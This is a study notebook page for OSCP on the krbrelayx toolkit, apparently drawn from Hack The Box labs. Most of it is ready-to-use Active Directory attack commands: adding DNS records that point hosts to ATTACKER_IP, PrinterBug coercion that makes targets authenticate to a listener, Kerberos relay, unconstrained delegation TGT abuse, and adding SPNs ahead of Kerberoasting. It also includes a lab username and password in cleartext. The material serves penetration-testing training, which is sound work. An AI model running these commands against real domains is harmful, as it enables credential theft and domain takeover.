Pearson's OSCP Notebook

krbrelayx

Properties1
tagskrbrelayx, dnstool, addspn, printerbug, adidns, active-directory, dns, kerberos, spn, oscp

4 min read

krbrelayx

Ctrl+F: dnstool · ADIDNS · web1 · addspn · printerbug · krbrelayx

External: Internal All The Things — Kerberos Relay External: Internal All The Things — Coerce External: Internal All The Things — ADIDNS

Repo: dirkjanm/krbrelayx

Python toolkit for Kerberos relay, unconstrained delegation, ADIDNS abuse, SPN manipulation, and PrinterBug coercion. Same author as PKINITtools and Certipy ecosystem.

Install (Kali)

git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx
pip3 install -r requirements.txt --break-system-packages
 
# Scripts run from repo dir (or add to PATH)
python3 dnstool.py -h

Full install index → Installation - Kali Setup

📌 dnstool.py — AD Integrated DNS (ADIDNS)

Add / modify / delete Active Directory Integrated DNS records over LDAP.

Default permission: Authenticated domain users can often create arbitrary DNS records in the ADIDNS zone — no DNS Admin membership required.

Intelligence HTB scenario (web* host hijack)

A monitoring script loops DNS records and sends authenticated requests to any host whose name starts with web to check status. Hijack by pointing a new web* A record at your IP:

python3 dnstool.py \
  -u 'intelligence\Tiffany.Molina' \
  -p 'NewIntelligenceCorpUser9876' \
  10.10.10.248 \
  -a add \
  -r web1 \
  -d 10.10.14.58 \
  -t A

Flow:

Domain user creds
  → dnstool add A record web1 → attacker IP
  → monitoring script hits web1.intelligence.htb
  → NTLM/Kerberos/auth to your listener OR creds in request

Common flags

FlagPurpose
-u DOMAIN\userUsername
-p passwordPassword
-hashes LM:NTPass-the-Hash
-a add / modify / deleteAction
-r nameRecord name (hostname)
-d IPData — IP for A record
-t A / AAAA / CNAME / etc.Record type
DC IP / hostnamePositional target
# Generic — point hostname at attacker
python3 dnstool.py -u 'DOMAIN\user' -p 'PASS' DC_IP -a add -r evilhost -d ATTACKER_IP -t A
 
# Delete record
python3 dnstool.py -u 'DOMAIN\user' -p 'PASS' DC_IP -a delete -r web1 -t A
 
# List / dump (check existing web* records)
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' get dnsDump

Alternatives: bloodyAD > add dnsRecord · nxc ldap -M dns-nonsecure

→ Verify record: Verify · DNS enum: DNS (dig & host)

📌 addspn.py — SPN add/remove/modify

Modify Service Principal Names on AD accounts over LDAP.

# Add SPN to target account (e.g. before Kerberoast or targeted abuse)
python3 addspn.py -u 'DOMAIN\user' -p 'PASS' -t victimuser -s HTTP/fake.corp.local
 
# Remove SPN
python3 addspn.py -u 'DOMAIN\user' -p 'PASS' -t victimuser -r HTTP/fake.corp.local

Requires write rights on target object. Often chained with Kerberoast or RBCD prep.

📌 printerbug.py — SpoolService coercion

Trigger PrinterBug / SpoolSample via RPC — forces target to authenticate back to your listener.

python3 printerbug.py DOMAIN/user:password@TARGET LISTENER_IP

Similar to dementor.py / nxc smb -M printerbug:

nxc smb TARGET -u user -p pass -M printerbug -o LISTENER=ATTACKER_IP

Pair with Responder or ntlmrelayx to capture/relay NTLM.

📌 krbrelayx.py — Kerberos relay & unconstrained delegation

Kerberos relaying

When no credentials are supplied but a target is specified — forwards incoming Kerberos auth to a matching target hostname (relay the authentication).

# Listen and relay Kerberos to target (get incoming auth via mitm6, coercion, etc.)
python3 krbrelayx.py -t target.domain.htb

Get victims to authenticate with a valid SPN → mitm6 (IPv6 DNS poison) · Responder · coercion tools.

Unconstrained delegation abuse

With creds for an account that has unconstrained delegation — decrypt/dump incoming TGTs or use them immediately against a target service.

python3 krbrelayx.py -u 'DOMAIN\user' -p 'PASS' -t target.domain.htb --delegate

→ Rubeus monitor / tgtdeleg on Windows · BloodHound unconstrained delegation paths

📌 Tool map

ScriptUse
dnstool.pyADIDNS record add/modify/delete — default user write
addspn.pySPN manipulation on accounts
printerbug.pyRPC coercion → NTLM to listener
krbrelayx.pyKerberos relay · unconstrained delegation TGT abuse

📌 Quick cheat sheet

# ADIDNS — hijack web* monitoring (Intelligence-style)
python3 dnstool.py -u 'DOMAIN\user' -p 'PASS' DC_IP -a add -r web1 -d ATTACKER_IP -t A
 
# Dump AD DNS first
bloodyAD -H DC_IP -d domain.htb -u user -p 'PASS' get dnsDump
 
# PrinterBug coerce
python3 printerbug.py DOMAIN/user:pass@TARGET ATTACKER_IP
 
# Add SPN
python3 addspn.py -u 'DOMAIN\user' -p 'PASS' -t victim -s HTTP/fake.domain.htb

Graph View

Backlinks